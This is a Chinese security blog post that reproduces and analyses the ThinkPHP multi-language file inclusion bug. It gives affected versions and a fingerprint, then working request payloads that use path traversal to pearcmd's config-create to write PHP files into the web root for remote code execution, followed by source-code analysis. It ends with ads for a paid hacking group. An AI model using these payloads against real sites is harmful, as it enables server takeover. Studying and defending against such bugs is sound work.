记Thinkphp漏洞复现学习
2023-1-1 20:1:45 Author: 渗透安全团队(查看原文) 阅读量:17 收藏

ThinkphpV6多语言

漏洞原理

ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越与文件包含组合拳的利用,通过pearcmd文件包含这个trick即可实现RCE。

关于pearcmd

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。

影响版本

6.0.1 < ThinkPHP ≤ 6.0.13 5.0.0 < ThinkPHP ≤ 5.0.12 5.1.0 < ThinkPHP ≤ 5.1.8

漏洞指纹

header="think_lang"

环境搭建

    https://github.com/vulhub/vulhub/commit/34fca0ce1bd144d67b01540594f9764f65497e94#diff-a467569d1059d94152dc2adfef31fe2a8272b9b0982a61624da79f3f6e331e95

漏洞复现

  /index?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/var/www/html/test.php

mei

经过../的尝试发现当../个数超过7个时,响应界面发生变化,即利用成功。

当前../个数为6个,查看是否写入

当../个数为8个时

查看是否利用成功

cookie处的构造

经过逐个添加发现也是在第8个发生变化,通过不通的环境得出../的个数与目录层数相关。

进行包含利用

漏洞分析

config-create

require_once 'PEAR.php';
require_once 'PEAR/Frontend.php';
require_once 'PEAR/Config.php';
require_once 'PEAR/Command.php';
require_once 'Console/Getopt.php';

这里所需要用到的config-create处于-->config.php中,因此,攻击条件同时需要满足pecl/pear为已安装状态。根据这里的exp,这里利用了config-create,config-create的作用-->create a default configuration file,也就是创建默认的配置文件,并且在此处的文件路径进行传参,写入这个文件中。

GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+xxx.php HTTP/1.1

config-create的作用-->create a default configuration file

开启多语言

由于这个的攻击条件是要开启多语言功能,于是,去搜索了下这个多语言功能是如何开启的,大概就是,会在中间件middleware中添加,再接着通过detect来探测是否具有lang这个包来返回多语言的功能是否开启。通过学习得知,在这个中间件middle这,会调用handle()函数,于是这里查看了下被引用的地方,也就是loadlangpack.php这。

多语言功能包-->langpack

public function handle($request, Closure $next)
    {
        // 自动侦测当前语言
        $langset = $this->detect($request);

        if ($this->lang->defaultLangSet() != $langset) {
            $this->lang->switchLangSet($langset);
        }

        $this->saveToCookie($this->app->cookie, $langset);

        return $next($request);
    }

因为在之前已经得知是通过探测的方法,直接定位detect

detect-->可以看到GET["lang"] 、HEADER["think-lang"] 、COOKIE["think_lang"] ,并且其中不含过滤代码,直接赋值给了 $langSet :那么langset 这个值便是可控的了

 protected function detect(Request $request): string
    {
        // 自动侦测设置获取语言选择
        $langSet = '';

        if ($request->get($this->config['detect_var'])) {
            // url中设置了语言变量
            $langSet = strtolower($request->get($this->config['detect_var']));
        } elseif ($request->header($this->config['header_var'])) {
            // Header中设置了语言变量
            $langSet = strtolower($request->header($this->config['header_var']));
        } elseif ($request->cookie($this->config['cookie_var'])) {
            // Cookie中设置了语言变量
            $langSet = strtolower($request->cookie($this->config['cookie_var']));
        } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
            // 自动侦测浏览器语言
            $match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches);
            if ($match) {
                $langSet = strtolower($matches[1]);
                if (isset($this->config['accept_language'][$langSet])) {
                    $langSet = $this->config['accept_language'][$langSet];
                }
            }
        }
if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
            // 合法的语言
            $this->range = $langSet;
        }

        return $this->range;

默认情况下,allow_lang_list 这个配置为空,$langSet 被赋值给 $range,将$range 返回。

在loadlangpack里发现:

     public function handle($request, Closure $next)
    {
        // 自动侦测当前语言
        $langset = $this->detect($request);

        if ($this->lang->defaultLangSet() != $langset) {
            $this->lang->switchLangSet($langset);
        }

        $this->saveToCookie($this->app->cookie, $langset);

        return $next($request);
    }

this->load

public function switchLangSet(string $langset) 
   {
       if (empty($langset)) {
           return;
       }

       // 加载系统语言包
       $this->load([
           $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
       ]);

       // 加载系统语言包
       $files = glob($this->app->getAppPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*');
       $this->load($files);

       // 加载扩展(自定义)语言包
       $list = $this->app->config->get('lang.extend_list', []);

       if (isset($list[$langset])) {
           $this->load($list[$langset]);
       }

    $langset-->$this->config["detect_var"="lang"]
    
    

include file

对其进行文件包含的利用


protected function parse(string $file): array
    {
        $type = pathinfo($file, PATHINFO_EXTENSION);

        switch ($type) {
            case 'php':
                $result = include $file;
                break;
            case 'yml':
            case 'yaml':
                if (function_exists('yaml_parse_file')) {
                    $result = yaml_parse_file($file);
                }
                break;
            case 'json':
                $data = file_get_contents($file);

                if (false !== $data) {
                    $data = json_decode($data, true);

                    if (json_last_error() === JSON_ERROR_NONE) {
                        $result = $data;
                    }
                }

                break;
        }

        return isset($result) && is_array($result) ? $result : [];
    }

其他方法

download -->pear download [option] [package]


付费圈子

星 球 免 费 福 利

 转发公众号本文到朋友圈

 截图到公众号后台第1、5名获取免费进入星球

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247495460&idx=2&sn=8a30a3baafff39038feb0e7eae50068c&chksm=c176128bf6019b9dd0fc3e24dbf7e1d966a96f22c4fd84b707a10dc81c76d87757e9258fa03d#rd
如有侵权请联系:admin#unsafe.sh